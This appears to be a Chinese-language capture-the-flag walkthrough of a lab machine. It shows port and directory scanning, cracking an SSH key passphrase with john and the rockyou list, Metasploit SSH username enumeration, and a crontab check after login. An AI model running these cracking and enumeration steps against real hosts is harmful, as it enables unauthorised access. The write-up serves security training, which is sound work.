Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 12:59 HKT Nmap scan report for 192.168.0.187 Host is up (0.014s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds
8000 有 http 服务。 就一句话：
1 2 3 4 5 6 7 8 9
HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.7.3 Date: Fri, 31 May 2024 05:02:22 GMT Content-type: text/html Content-Length: 44 Last-Modified: Sat, 03 Jun 2023 18:24:27 GMT
You just have to listen to open the door...
看起来是 Python 的 SimpleHTTP 服务。
先扫一下目录。
1
gobuster dir -u http://$IP:8000 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bk,bak,zip,tar,gz,7z
└─$ ssh -i id_rsa root@$IP Enter passphrase for key 'id_rsa': [email protected]'s password:
需要密码，john 破解：
1 2 3 4 5 6 7 8 9 10 11 12
ssh2john id_rsa > id_rsa.hash john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status idontknow (id_rsa) 1g 0:00:00:00 DONE (2024-05-31 13:25) 100.0g/s 134400p/s 134400c/s 134400C/s cuties..phoebe Use the "--show" option to display all of the cracked passwords reliably
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/windows/manage/forward_pageant . normal No Forward SSH Agent Requests To Remote Pageant 1 post/windows/manage/install_ssh . normal No Install OpenSSH for Windows 2 post/multi/gather/ssh_creds . normal No Multi Gather OpenSSH PKI Credentials Collection 3 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration 4 \_ action: Malformed Packet . . . Use a malformed packet 5 \_ action: Timing Attack . . . Use a timing attack 6 exploit/windows/local/unquoted_service_path 2001-10-25 great Yes Windows Unquoted Service Path Privilege Escalation
Interact with a module by name or index. For example info 6, use 6 or use exploit/windows/local/unquoted_service_path
use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_FALSE true no Check forfalse positives (random username) DB_ALL_USERS false no Add all usersin the current database to the list Proxies no A proxy chain of format type:host:port[,type:host:port][... ] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/us ing-metasploit/basics/using-metasploit.html RPORT 22 yes The target port THREADS 1 yes The number of concurrent threads (max one per host) THRESHOLD 10 yes Amount of seconds needed before a user is considered found (timing attack only) USERNAME no Single username to test (username spray) USER_FILE no File containing usernames, one per line
Auxiliary action:
Name Description ---- ----------- Malformed Packet Use a malformed packet
View the full module info with the info, or info -d command.
set USER_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt set rhosts 192.168.0.187 run
sudo -l # 没有 sudo， # 养成看定时任务的习惯： cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
